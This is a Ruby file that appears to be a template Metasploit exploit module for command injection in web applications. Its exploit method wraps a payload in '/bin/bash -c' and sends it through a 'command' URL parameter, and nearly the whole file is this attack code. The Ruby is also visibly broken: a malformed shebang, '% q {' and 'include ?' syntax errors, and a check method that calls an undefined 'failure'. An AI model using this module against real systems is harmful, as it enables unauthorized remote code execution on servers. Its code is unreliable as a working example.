code_exec2.rb

#!/usr/bin /ruby

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
  'Name' => 'Command Injection Module',
  'Description' => % q {
    This module exploits a Command injection vulnerability in websites that contain
    vulnerable parameters in the URL.
  },
  'Author' => ['Your Name'],
  'License' => MSF_LICENSE,
  'References' => [
    ['URL', 'https://example.com/'],
  ],
  'Privileged' => false,
  'Platform' => ['unix', 'linux'],
  'Arch' => [ARCH_X86, ARCH_X64],
  'Payload' => {
    'BadChars' => "\x00"
  },
  'Targets' => [
    ['Generic (Unix In-Memory)',
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
    ],
  ],
  'DefaultTarget' => 0
))

register_options(
  [
    OptString.new('TARGETURI', [true, 'The target URI of the vulnerable PHP application', '/path/to/target/param']),
    OptString.new('USER', [true, 'The username'])
  ], self.class)
end

def check
res = nil
req = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path)
})

failure
end

def exploit
command = "/bin/bash -c \"#{payload.encoded}\""

begin
res = send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path) + "?command=#{command}",
  'vars_get' => {
    'username' => datastore['USER'],
  }
})
end

if res and res.code == 200 and res.body.include ? ('Command executed successfully')
print_status("Exploit successful")
else
  fail_with(Failure::Unknown, "Exploit Failed")
end
end
end